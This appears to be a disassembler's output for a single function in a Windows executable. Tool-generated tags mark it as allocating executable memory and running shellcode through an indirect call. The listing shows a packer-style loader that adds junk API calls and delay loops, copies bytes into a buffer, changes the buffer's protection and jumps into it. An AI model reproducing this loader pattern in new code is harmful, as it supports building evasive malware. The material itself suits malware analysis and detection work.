Function at 0x4045c2
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x207142
jg 0x4045ef
inc edi
cmp edi, 0x67d12
jl 0x4045d2
cmp dword [0x28287b4], 0x93
jne 0x4046e3
push 0x403fc8
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_CreateDCA]
push esi
push esi
push 0x403fe0
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuA]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_CreateDCW]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuState]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapValidate]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push esi
push esi
push esi
push 0x404004
push 0x404038
push 0x404090
call dword [sym.imp.KERNEL32.dll_ReplaceFileW]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobSet]
push 0x4040e4
push esi
call fcn.004053b7
push esi
call fcn.00404c94
push esi
push esi
call fcn.004052c0
push esi
push esi
call fcn.004053ce
push esi
call fcn.0040580a
push esi
push esi
call fcn.00404c65
push 0xc
call fcn.00405b3d
mov edi, eax
add esp, 0x2c
cmp edi, esi
je 0x404899
mov dword [edi], edi
mov dword [edi + 4], edi
mov eax, dword [edi]
mov dword [edi], edi
mov dword [edi + 4], edi
cmp eax, edi
je 0x4046dc
mov ebx, dword [eax]
push eax
call fcn.004054da
pop ecx
mov eax, ebx
cmp ebx, edi
jne 0x4046cd
push edi
call fcn.004054da
pop ecx
mov eax, dword [0x430c6c]
add dword [0x28287b4], 0x1134b
push 0x4040e8
mov dword [0x28295f0], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x404104
push eax
mov dword [0x2828244], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x28287b4]
mov dword [0x2828238], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [0x28287b4]
mov dword [0x2828240], eax
push eax
call dword [0x2828238]
mov edi, 0x1692e
push esi
push esi
call dword [sym.imp.USER32.dll_GetComboBoxInfo]
push esi
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec edi
jne 0x404742
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x28287b4], esi
jbe 0x4047c2
mov eax, dword [0x28295f0]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x2828240]
mov byte [ecx + edi], al
cmp dword [0x28287b4], 0x490
jne 0x4047b9
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
push esi
call ebx
lea eax, [ebp - 4]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
inc edi
cmp edi, dword [0x28287b4]
jb 0x404770
xor edi, edi
mov eax, dword [0x28287b4]
add eax, edi
cmp eax, 0x8d
jne 0x404803
push esi
lea eax, [ebp - 0x414]
push eax
push esi
push 0x404114
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuA]
push 0x404118
push 0x404130
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
inc edi
cmp edi, 0x38681
jl 0x4047c4
call fcn.004044ed
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x61
jne 0x404831
mov dword [ebp - 4], esi
add dword [ebp - 4], 0x3c3e
mov eax, dword [ebp - 4]
add dword [0x2828240], eax
inc edi
cmp edi, 0x674bd
jl 0x404813
push 0x7b
pop edi
cmp dword [0x28287b4], 0x86
jne 0x404884
push esi
push esi
push esi
push esi
push esi
push esi
push 0x404150
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapWalk]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_RequestWakeupLatency]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_IsBadHugeWritePtr]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidthW]
dec edi
jne 0x40483d
push 0x404188
call ebx
call dword [0x2828240]
pop edi
pop esi
pop ebx
leave
ret
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], esi
call fcn.00404d44
push 0x42b828
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0x14], 0x40130c
call fcn.0040b626
int3